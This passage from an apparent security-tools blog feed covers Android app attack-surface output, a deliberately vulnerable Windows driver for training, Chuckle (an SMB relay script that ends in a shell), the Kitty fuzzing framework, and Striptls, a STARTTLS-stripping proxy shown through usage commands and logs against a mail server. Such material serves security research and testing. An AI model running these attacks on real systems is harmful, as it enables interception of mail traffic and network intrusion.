[2015-08-03 19:27:31.175369] Permission: android.permission.ACCESS_FINE_LOCATION
[2015-08-03 19:27:31.175409] Permission: android.permission.ACCESS_NETWORK_STATE
[2015-08-03 19:27:31.175421] Permission: android.permission.INTERNET
[2015-08-03 19:27:31.175430] Permission: android.permission.NFC
[2015-08-03 19:27:31.175438] Permission: android.permission.WRITE_EXTERNAL_STORAGE
[2015-08-03 19:27:31.175446] Permission: com.android.launcher.permission.INSTALL_SHORTCUT
[2015-08-03 19:27:31.175454] Permission: com.opera.GET_BRANDING
[2015-08-03 19:27:31.175461] Permission: com.opera.mini.native.permission.CRASHHANDLER
[2015-08-03 19:27:31.175469] Permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS
[2015-08-03 19:27:31.175477] Permission: android.permission.SYSTEM_ALERT_WINDOW
[2015-08-03 19:27:31.175484] Permission: android.permission.WAKE_LOCK
[2015-08-03 19:27:31.175491] Permission: com.google.android.c2dm.permission.RECEIVE
[2015-08-03 19:27:31.175498] Permission: com.opera.mini.native.permission.C2D_MESSAGE
[2015-08-03 19:27:31.175505] Permission: android.permission.READ_CONTACTS
[2015-08-03 19:27:31.175571] Permission: android.permission.VIBRATE

Map Permissions
(lobotomy) permissions map
[2015-08-03 19:28:07.078496] Found permission mapping : android.permission.ACCESS_FINE_LOCATION
[2015-08-03 19:28:07.078543] Searching for : android.telephony.TelephonyManager
[2015-08-03 19:28:12.686411] Searching for : android.location.LocationManager
1 Lbo/app/bs;-><init>(Landroid/content/Context; Landroid/location/LocationManager; Lbo/app/bb; Lcom/appboy/configuration/XmlAppConfigurationProvider;)V (0x120) ---> Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String; J F Landroid/app/PendingIntent;)V
1 Lpz;->a()V (0x20) ---> Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String; J F Landroid/location/LocationListener;)V
1 Lbo/app/bs;->c()Lbo/app/da; (0x2e) ---> Landroid/location/LocationManager;->getProviders(Landroid/location/Criteria; Z)Ljava/util/List;
1 Lbo/app/bs;->c()Lbo/app/da; (0x54) ---> Landroid/location/LocationManager;->getProviders(Landroid/location/Criteria; Z)Ljava/util/List;
1 Lpy;->a(Llb;)Landroid/location/Location; (0x50) ---> Landroid/location/LocationManager;->getProviders(Z)Ljava/util/List;
1 Lbo/app/bs;->c()Lbo/app/da; (0x2e) ---> Landroid/location/LocationManager;->getProviders(Landroid/location/Criteria; Z)Ljava/util/List;
1 Lbo/app/bs;->c()Lbo/app/da; (0x54) ---> Landroid/location/LocationManager;->getProviders(Landroid/location/Criteria; Z)Ljava/util/List;
1 Lkf;->detectlocation(Ljava/lang/String;)V (0x9e) --->

Attack Surface
(lobotomy) attacksurface
[2015-08-03 19:29:02.272276] ---------
[2015-08-03 19:29:02.272317] Activites
[2015-08-03 19:29:02.272327] ---------
[2015-08-03 19:29:02.272472] com.opera.android.MiniActivity : Found Activity with launchMode!
[2015-08-03 19:29:02.272507] com.opera.android.MiniActivity : launchMode : singleTask
[2015-08-03 19:29:02.272778] com.opera.mini.android.Browser : Found Activity with launchMode!
[2015-08-03 19:29:02.272793] com.opera.mini.android.Browser : launchMode : singleTask
[2015-08-03 19:29:02.272900] com.opera.mini.android.Browser : Found Activity with schemes!
[2015-08-03 19:29:02.272912] com.opera.mini.android.Browser : scheme : ftp
[2015-08-03 19:29:02.272932] com.opera.mini.android.Browser : scheme : about
[2015-08-03 19:29:02.272943] com.opera.mini.android.Browser : scheme : http
[2015-08-03 19:29:02.272952] com.opera.mini.android.Browser : scheme : opera
[2015-08-03 19:29:02.272961] com.opera.mini.android.Browser : scheme : adx
[2015-08-03 19:29:02.272970] com.opera.mini.android.Browser : scheme : https
[2015-08-03 19:29:02.273250] com.opera.mini.android.Browser : action : android.intent.action.MAIN
[2015-08-03 19:29:02.273263] com.opera.mini.android.Browser : action : android.intent.action.VIEW
[2015-08-03 19:29:02.273272] com.opera.mini.android.Browser : action : android.nfc.action.NDEF_DISCOVERED
[2015-08-03 19:29:02.273280] com.opera.mini.android.Browser : action : android.speech.action.VOICE_SEARCH_RESULTS
[2015-08-03 19:29:02.273289] com.opera.mini.android.Browser : action : android.intent.action.WEB_SEARCH
[2015-08-03 19:29:02.273297] com.opera.mini.android.Browser : category : android.intent.category.LAUNCHER
[2015-08-03 19:29:02.273305] com.opera.mini.android.Browser : category : android.intent.category.DEFAULT
[2015-08-03 19:29:02.273313] com.opera.mini.android.Browser : category : android.intent.category.BROWSABLE
[2015-08-03 19:29:02.273321] ---------
[2015-08-03 19:29:02.273328] Receivers
[2015-08-03 19:29:02.273335] ---------
[2015-08-03 19:29:02.273712] com.AdX.tag.AdXAppTracker : Found exported receiver!
[2015-08-03 19:29:02.273724] com.AdX.tag.AdXAppTracker : exported : true
[2015-08-03 19:29:02.273880] com.AdX.tag.AdXAppTracker : action : com.android.vending.INSTALL_REFERRER
[2015-08-03 19:29:02.274348] com.opera.android.gcm.GcmBroadcastReceiver : action : com.google.android.c2dm.intent.RECEIVE
[2015-08-03 19:29:02.274361] com.opera.android.gcm.GcmBroadcastReceiver : category : com.opera.mini.native
[2015-08-03 19:29:02.274821] com.opera.android.appboy.AppboyBroadcastReceiver : action : com.opera.mini.native.intent.APPBOY_PUSH_RECEIVED
[2015-08-03 19:29:02.274833] com.opera.android.appboy.AppboyBroadcastReceiver : action : com.opera.mini.native.intent.APPBOY_NOTIFICATION_OPENED
[2015-08-03 19:29:02.274842] ---------
[2015-08-03 19:29:02.274848] Providers
[2015-08-03 19:29:02.274855] ---------
[2015-08-03 19:29:02.275486] ---------
[2015-08-03 19:29:02.275494] Services
[2015-08-03 19:29:02.275511] ---------


HEVD - HackSys Extreme Vulnerable Driver

$
0
0

HackSys Extreme Vulnerable Driver is intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level.

HackSys Extreme Vulnerable Driver caters wide range of vulnerabilities ranging from simple Buffer Overflows to complex Use After Frees and Pool Overflows . This allows the researchers to explore the exploitation techniques for every implemented vulnerabilities.

Screenshots



Vulnerabilities Implemented
  • Pool Overflow
  • Use After Free
  • Type Confusion
  • Stack Overflow
  • Integer Overflow
  • Stack Overflow GS
  • Arbitrary Overwrite
  • Null Pointer Dereference

Building Driver
  1. Install Windows Driver Kit
  2. Change %localSymbolServerPath% in Build_HEVD_Secure.bat and Build_HEVD_Vulnerable.bat driver builder
  3. Run the appropriate driver builder Build_HEVD_Secure.bat or Build_HEVD_Vulnerable.bat

Installing Driver
Use OSR Driver Loader to install HackSys Extreme Vulnerable Driver

Testing
The HackSys Extreme Vulnerable Driver and the respective exploits have been tested on Windows 7 SP1 x86

Presentations
Presentation will be uploaded soon .

Sessions Conducted

Workshops Conducted

TODO
  1. Test the Driver on Windows 8.1/10 x64
  2. Add the exploit support for Windows 8.1/10 x64
  3. Add Use Of Uninitialized Variable Vulnerability
  4. Add Memory Disclosure Vulnerability
  5. Add Time-Of-Check-To-Time-Of-Use ( TOCTTU/Race Condition ) Vulnerability
  6. Refactor and Cleanup the driver and exploit source code


Chuckle - An Automated SMB Relay Script

$
0
0
Chuckle is an automated SMB Relay Script.

Chuckle requires a few tools to work:
  • SMBRelayX.py
  • Veil (latest version from git)
  • Responder (Chuckle will detect which version you are using.)
  • Nmap
  • Nbtscan (unixwiz)
  • MSFconsole

Usuage should be fairly simple, run as root or use sudo:
sudo ./chuckle.sh

Wait a while or coax a prvileged user into authenticating against you and you should end up with a shell on your target machine.

Be careful when running this and never run on a network you are not permitted to do so.


Kitty - Fuzzing Framework Written In Python

$
0
0
Kitty is an open-source modular and extensible fuzzing framework written in python, inspired by OpenRCE's Sulley and Michael Eddington's (and now Deja Vu Security's) Peach Fuzzer .

Goal

When we started writing Kitty, our goal was to help us fuzz unusual targets --- meaning proprietary and esoteric protocols over non-TCP/IP communication channels --- without writing everything from scratch each time. A generic and abstract framework that would include the common functionallity of every fuzzing process we could think of, and would allow the user to easily extend and use it to test their specific target.

Features

With this goal in mind, the following features were very important to us:
Modularity: Each part of the fuzzer stands on its own. This means that you can use the same monitoring code for different applications, or the same payload generator (aka Data Model ) for testing parsing of the same data that is received over different channels.
Extensibility: If you need to test something "new", you will not need to change Kitty's core code. Most, if not all, features can be implemented in the user code. This includes monitoring, controlling and communicating with the fuzzed target.
Rich data modeling: The data model core is rich and allows describing advanced data structures, including strings, hashes, lengths, conditions and many more. And, like most of the framework, it is designed to be extended even further as necessary.
Stateful: Support for multi-stage fuzzing tests. Not only you can describe what the payload of an individual message will look like, you can also describe the order of messages, and even perform fuzzing on the sequence's order.
Client and Server fuzzing: You can fuzz both servers and clients, assuming you have a matching stack. Sounds like a big requirement, but it isn't: it just means that you should have the means to communicate with the target, which you should have in most cases anyway.
Cross platform: Runs on Linux, OS X and Windows. We don't judge ;-)

What it's not?

Well, Kitty is not a fuzzer. It also contains no implementation of specific protocol or communication channel. You can write your own fuzzer with it, and you can use Kitty-based code of others, but it's not an out-of-the-box fuzzer.
A good place to get (and add) implementations of Kitty models is Katnip.

Katnip

Kitty, as a framework, implements the fuzzer main loop, and provides syntax for modeling data and base classes for each of the elements that are used to create a full fuzzing session. However, specific implementations of classes are not part of the Kitty framework. This means that Kitty defines the interface and base class to perform data transactions with a target, but it doesn't provide implementations for data transmition over HTTP, TCP or UART.
Implementations of all sorts of classes can be found in the complimentary repository - Katnip .

What's Next?




Striptls - Proxy POC Implementation Of STARTTLS Stripping Attacks

$
0
0

poc implementation of STARTTLS stripping attacks
  • SMTP
    • SMTP.StripFromCapabilities - server response capability patch
    • SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code
    • SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
    • SMTP.StripWithTemporaryError
    • SMTP.StripWithError
    • SMTP.ProtocolDowngradeStripExtendedMode
    • SMTP.InjectCommand
  • POP3
    • POP3.StripFromCapabilities
    • POP3.StripWithError
    • POP3.UntrustedIntercept
  • IMAP
    • IMAP.StripFromCapabilities
    • IMAP.StripWithError
    • IMAP.UntrustedIntercept
    • IMAP.ProtocolDowngradeToV2
  • FTP
    • FTP.StripFromCapabilities
    • FTP.StripWithError
    • FTP.UntrustedIntercept
  • NNTP
    • NNTP.StripFromCapabilities
    • NNTP.StripWithError
    • NNTP.UntrustedIntercept
  • XMPP
    • XMPP.StripFromCapabilities
    • XMPP.StripInboundTLS
    • XMPP.UntrustedIntercept
  • ACAP (untested)
    • ACAP.StripFromCapabilities
    • ACAP.StripWithError
    • ACAP.UntrustedIntercept
  • IRC
    • IRC.StripFromCapabilities
    • IRC.StripWithError
    • IRC.UntrustedIntercept
    • IRC.StripWithNotRegistered
    • IRC.StripCAPWithNotregistered
    • IRC.StripWithSilentDrop

Results:
- [*] client: 127.0.0.1
- [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
- [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
- [ ] <class striptls.StripFromCapabilities at 0xffd316bc>
- [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
- [*] client: 192.168.139.1
- [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
- [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
- [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>

Usage
#> python -m striptls --help    # from pip/setup.py
#> python striptls --help # from source / root folder
Usage: striptls [options]

example: striptls --listen 0.0.0.0:25 --remote mail.server.tld:25


Options:
-h, --help show this help message and exit
-v, --verbose make lots of noise [default]
-l LISTEN, --listen=LISTEN
listen ip:port [default: 0.0.0.0:<remote_port>]
-r REMOTE, --remote=REMOTE
remote target ip:port to forward sessions to
-k KEY, --key=KEY SSL Certificate and Private key file to use, PEM
format assumed [default: server.pem]
-x VECTORS, --vectors=VECTORS
Comma separated list of vectors. Use 'ALL' (default)
to select all vectors. Available vectors:
ACAP.StripFromCapabilities, ACAP.StripWithError,
ACAP.UntrustedIntercept, FTP.StripFromCapabilities,
FTP.StripWithError, FTP.UntrustedIntercept,
IMAP.StripFromCapabilities, IMAP.StripWithError,
IMAP.UntrustedIntercept,
IRC.StripCAPWithNotRegistered,
IRC.StripFromCapabilities, IRC.StripWithError,
IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,
IRC.UntrustedIntercept, NNTP.StripFromCapabilities,
NNTP.StripWithError, NNTP.UntrustedIntercept,
POP3.StripFromCapabilities, POP3.StripWithError,
POP3.UntrustedIntercept, SMTP.InjectCommand,
SMTP.ProtocolDowngradeStripExtendedMode,
SMTP.ProtocolDowngradeToV2,
SMTP.StripFromCapabilities, SMTP.StripWithError,
SMTP.StripWithInvalidResponseCode,
SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,
XMPP.StripFromCapabilities, XMPP.StripInboundTLS,
XMPP.UntrustedIntercept [default: ALL]

Install (optional)
from pip
#> pip install striptls
from source
#> setup.py install

Examples
                  inbound                    outbound
[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
smtp-client striptls remote/target
local smtp-client -> localhost:8825 (proxy) -> mail.gmx.net:25

Audit Mode
iterates all protocol specific cases on a per client basis and keeps track of clients violating the starttls protocol. Ctrl+C to abort audit and print results.
#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
2016-02-02 22:11:56,275 - INFO - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP): <class striptls.StripFromCapabilities at 0xffd4632c>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP): <class striptls.StripWithError at 0xffd4635c>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP): <class striptls.UntrustedIntercept at 0xffd4638c>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP): <class striptls.StripWithError at 0xffd4629c>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP): <class striptls.UntrustedIntercept at 0xffd462cc>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP): <class striptls.StripFromCapabilities at 0xffd463ec>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP): <class striptls.StripWithError at 0xffd4641c>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP): <class striptls.UntrustedIntercept at 0xffd4644c>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:110 , proto: POP3): <class striptls.StripWithError at 0xffd461dc>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:110 , proto: POP3): <class striptls.UntrustedIntercept at 0xffd4620c>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:25 , proto: SMTP): <class striptls.StripFromCapabilities at 0xffd316bc>
2016-02-02 22:11:56,275 - DEBUG - * added test (port:25 , proto: SMTP): <class striptls.StripWithError at 0xffd4614c>
2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP): <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP): <class striptls.StripWithTemporaryError at 0xffd4611c>
2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP): <class striptls.UntrustedIntercept at 0xffd4617c>
2016-02-02 22:11:56,276 - DEBUG - * added test (port:5222 , proto: XMPP): <class striptls.StripFromCapabilities at 0xffd464ac>
2016-02-02 22:11:56,276 - INFO - <RewriteDispatcher vectors={5222: set([<class striptls.StripFromCapabilities at 0xffd464ac>]), 110: set([<class striptls.UntrustedIntercept at 0xffd4620c>, <class striptls.StripWithError at 0xffd461dc>]), 143: set([<class striptls.StripWithError at 0xffd4629c>, <class striptls.UntrustedIntercept at 0xffd462cc>, <class striptls.StripFromCapabilities at 0xffd4626c>]), 21: set([<class striptls.UntrustedIntercept at 0xffd4638c>, <class striptls.StripFromCapabilities at 0xffd4632c>, <class striptls.StripWithError at 0xffd4635c>]), 119: set([<class striptls.StripWithError at 0xffd4641c>, <class striptls.UntrustedIntercept at 0xffd4644c>, <class striptls.StripFromCapabilities at 0xffd463ec>]), 25: set([<class striptls.StripWithInvalidResponseCode at 0xffd3138c>, <class striptls.StripWithTemporaryError at 0xffd4611c>, <class striptls.StripFromCapabilities at 0xffd316bc>, <class striptls.StripWithError at 0xffd4614c>, <class striptls.UntrustedIntercept at 0xffd4617c>])}>
2016-02-02 22:12:08,477 - DEBUG - <ProtocolDetect 0xffcf6eccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-02-02 22:12:08,530 - INFO - <Session 0xffcf6e4cL> client ('127.0.0.1', 28902) has connected
2016-02-02 22:12:08,530 - INFO - <Session 0xffcf6e4cL> connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:08,805 - DEBUG - <Session 0xffcf6e4cL> [client] <= [server] '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:08,805 - DEBUG - <RewriteDispatcher - changed mangle: striptls.StripWithInvalidResponseCode new: True>
2016-02-02 22:12:09,759 - DEBUG - <Session 0xffcf6e4cL> [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:09,850 - DEBUG - <Session 0xffcf6e4cL> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:09,851 - DEBUG - <Session 0xffcf6e4cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG - <Session 0xffcf6e4cL> [client] => [server] 'STARTTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG - <Session 0xffcf6e4cL> [client] <= [server][mangled] '200 STRIPTLS\r\n'
2016-02-02 22:12:09,867 - DEBUG - <Session 0xffcf6e4cL> [client] => [server][mangled] None
2016-02-02 22:12:09,883 - DEBUG - <Session 0xffcf6e4cL> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
2016-02-02 22:12:09,983 - DEBUG - <Session 0xffcf6e4cL> [client] <= [server] '530 Authentication required\r\n'
2016-02-02 22:12:09,992 - DEBUG - <Session 0xffcf6e4cL> [client] => [server] 'rset\r\n'
2016-02-02 22:12:10,100 - DEBUG - <Session 0xffcf6e4cL> [client] <= [server] '250 OK\r\n'
2016-02-02 22:12:10,116 - WARNING - <Session 0xffcf6e4cL> terminated.
2016-02-02 22:12:13,056 - DEBUG - <ProtocolDetect 0xffd0920cL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-02-02 22:12:13,056 - INFO - <Session 0xffd0918cL> client ('127.0.0.1', 28905) has connected
2016-02-02 22:12:13,057 - INFO - <Session 0xffd0918cL> connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:13,241 - DEBUG - <Session 0xffd0918cL> [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:13,241 - DEBUG - <RewriteDispatcher - changed mangle: striptls.StripWithTemporaryError new: True>
2016-02-02 22:12:14,197 - DEBUG - <Session 0xffd0918cL> [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:14,289 - DEBUG - <Session 0xffd0918cL> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:14,304 - DEBUG - <Session 0xffd0918cL> [client] => [server] 'STARTTLS\r\n'
2016-02-02 22:12:14,305 - DEBUG - <Session 0xffd0918cL> [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n'
2016-02-02 22:12:14,305 - DEBUG - <Session 0xffd0918cL> [client] => [server][mangled] None
2016-02-02 22:12:14,320 - DEBUG - <Session 0xffd0918cL> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
2016-02-02 22:12:14,411 - DEBUG - <Session 0xffd0918cL> [client] <= [server] '530 Authentication required\r\n'
2016-02-02 22:12:14,415 - DEBUG - <Session 0xffd0918cL> [client] => [server] 'rset\r\n'
2016-02-02 22:12:14,520 - DEBUG - <Session 0xffd0918cL> [client] <= [server] '250 OK\r\n'
2016-02-02 22:12:14,535 - WARNING - <Session 0xffd0918cL> terminated.
2016-02-02 22:12:16,649 - DEBUG - <ProtocolDetect 0xffd092ecL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-02-02 22:12:16,650 - INFO - <Session 0xffd0926cL> client ('127.0.0.1', 28908) has connected
2016-02-02 22:12:16,650 - INFO - <Session 0xffd0926cL> connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:16,820 - DEBUG - <Session 0xffd0926cL> [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:16,820 - DEBUG - <RewriteDispatcher - changed mangle: striptls.StripFromCapabilities new: True>
2016-02-02 22:12:17,760 - DEBUG - <Session 0xffd0926cL> [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:17,849 - DEBUG - <Session 0xffd0926cL> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:17,849 - DEBUG - <Session 0xffd0926cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
2016-02-02 22:12:17,871 - WARNING - <Session 0xffd0926cL> terminated.
2016-02-02 22:12:20,071 - DEBUG - <ProtocolDetect 0xffd093ccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-02-02 22:12:20,072 - INFO - <Session 0xffd0934cL> client ('127.0.0.1', 28911) has connected
2016-02-02 22:12:20,072 - INFO - <Session 0xffd0934cL> connecting to target ('mail.gmx.net', 25)
2016-02-02 22:12:20,239 - DEBUG - <Session 0xffd0934cL> [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
2016-02-02 22:12:20,240 - DEBUG - <RewriteDispatcher - changed mangle: striptls.StripWithError new: True>
2016-02-02 22:12:21,181 - DEBUG - <Session 0xffd0934cL> [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-02-02 22:12:21,269 - DEBUG - <Session 0xffd0934cL> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-02-02 22:12:21,280 - DEBUG - <Session 0xffd0934cL> [client] => [server] 'STARTTLS\r\n'
2016-02-02 22:12:21,281 - DEBUG - <Session 0xffd0934cL> [client] <= [server][mangled] '501 Syntax error\r\n'
2016-02-02 22:12:21,281 - DEBUG - <Session 0xffd0934cL> [client] => [server][mangled] None
2016-02-02 22:12:21,289 - DEBUG - <Session 0xffd0934cL> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
2016-02-02 22:12:21,381 - DEBUG - <Session 0xffd0934cL> [client] <= [server] '530 Authentication required\r\n'
2016-02-02 22:12:21,386 - DEBUG - <Session 0xffd0934cL> [client] => [server] 'rset\r\n'
2016-02-02 22:12:21,469 - DEBUG - <Session 0xffd0934cL> [client] <= [server] '250 OK\r\n'
2016-02-02 22:12:21,485 - WARNING - <Session 0xffd0934cL> terminated.
2016-02-02 22:12:23,665 - WARNING - Ctrl C - Stopping server
2016-02-02 22:12:23,665 - INFO - -- audit results --
2016-02-02 22:12:23,666 - INFO - [*] client: 127.0.0.1
2016-02-02 22:12:23,666 - INFO - [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
2016-02-02 22:12:23,666 - INFO - [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
2016-02-02 22:12:23,666 - INFO - [ ] <class striptls.StripFromCapabilities at 0xffd316bc>
2016-02-02 22:12:23,666 - INFO - [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>

Strip STARTTLS from server capabilities
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities
2016-01-31 15:44:35,000 - INFO - <Proxy 0x1fe6e70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
2016-01-31 15:44:35,000 - INFO - <RewriteDispatcher attacks={25: set([<class __main__.StripFromCapabilities at 0x01FE77D8>])}>
2016-01-31 15:44:37,030 - DEBUG - <ProtocolDetect 0x1fe6f90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-01-31 15:44:37,032 - INFO - <Session 0x1fe6f10> client ('127.0.0.1', 20070) has connected
2016-01-31 15:44:37,032 - INFO - <Session 0x1fe6f10> connecting to target ('mail.gmx.net', 25)
2016-01-31 15:44:39,051 - DEBUG - <Session 0x1fe6f10> [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-01-31 15:44:40,335 - DEBUG - <Session 0x1fe6f10> [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-01-31 15:44:40,746 - DEBUG - <Session 0x1fe6f10> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-01-31 15:44:40,746 - DEBUG - <Session 0x1fe6f10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
2016-01-31 15:44:40,746 - DEBUG - <Session 0x1fe6f10> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
2016-01-31 15:44:41,292 - DEBUG - <Session 0x1fe6f10> [client] <= [server] '530 Authentication required\r\n'
2016-01-31 15:44:41,292 - DEBUG - <Session 0x1fe6f10> [client] => [server] 'rset\r\n'
2016-01-31 15:44:41,605 - DEBUG - <Session 0x1fe6f10> [client] <= [server] '250 OK\r\n'
2016-01-31 15:44:41,612 - WARNING - <Session 0x1fe6f10> terminated.

Invalid STARTTLS response code
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode
2016-01-31 15:42:40,325 - INFO - <Proxy 0x1fefe70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
2016-01-31 15:42:40,325 - INFO - <RewriteDispatcher attacks={25: set([<class __main__.StripWithInvalidResponseCode at 0x02010730>])}>
2016-01-31 15:43:19,755 - DEBUG - <ProtocolDetect 0x1feff90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-01-31 15:43:19,756 - INFO - <Session 0x1feff10> client ('127.0.0.1', 20061) has connected
2016-01-31 15:43:19,756 - INFO - <Session 0x1feff10> connecting to target ('mail.gmx.net', 25)
2016-01-31 15:43:21,473 - DEBUG - <Session 0x1feff10> [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
2016-01-31 15:43:22,395 - DEBUG - <Session 0x1feff10> [client] => [server] 'ehlo [192.168.139.1]\r\n'
2016-01-31 15:43:23,019 - DEBUG - <Session 0x1feff10> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
2016-01-31 15:43:23,019 - DEBUG - <Session 0x1feff10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
2016-01-31 15:43:23,035 - DEBUG - <Session 0x1feff10> [client] => [server] 'STARTTLS\r\n'
2016-01-31 15:43:23,035 - DEBUG - <Session 0x1feff10> [client] <= [server][mangled] '200 STRIPTLS\r\n'
2016-01-31 15:43:23,035 - DEBUG - <Session 0x1feff10> [client] => [server][mangled] None
2016-01-31 15:43:23,035 - DEBUG - <Session 0x1feff10> [client] => [server] 'mail FROM:<a@b.com> size=10\r\n'
2016-01-31 15:43:23,160 - DEBUG - <Session 0x1feff10> [client] <= [server] '530 Authentication required\r\n'
2016-01-31 15:43:23,160 - DEBUG - <Session 0x1feff10> [client] => [server] 'rset\r\n'
2016-01-31 15:43:23,269 - DEBUG - <Session 0x1feff10> [client] <= [server] '250 OK\r\n'
2016-01-31 15:43:23,285 - WARNING - <Session 0x1feff10> terminated.

Untrusted SSL Intercept (for clients not checking server cert trust)
#> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept
2016-01-31 15:59:02,417 - INFO - <Proxy 0x1f468f0 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
2016-01-31 15:59:02,417 - INFO - <RewriteDispatcher attacks={25: set([<class __main__.UntrustedIntercept at 0x01F45298>])}>
2016-01-31 15:59:06,292 - DEBUG - <ProtocolDetect 0x1f46a10 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
2016-01-31 15:59:06,293 - INFO - <Session 0x1f46990> client ('127.0.0.1', 20238) has connected
2016-01-31 15:59:06,293 - INFO - <Session 0x1f46990> connecting to target ('mail.gmx.net', 25)
2016-01-31 15:59:06,561 - DEBUG - <Session 0x1f46990> [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
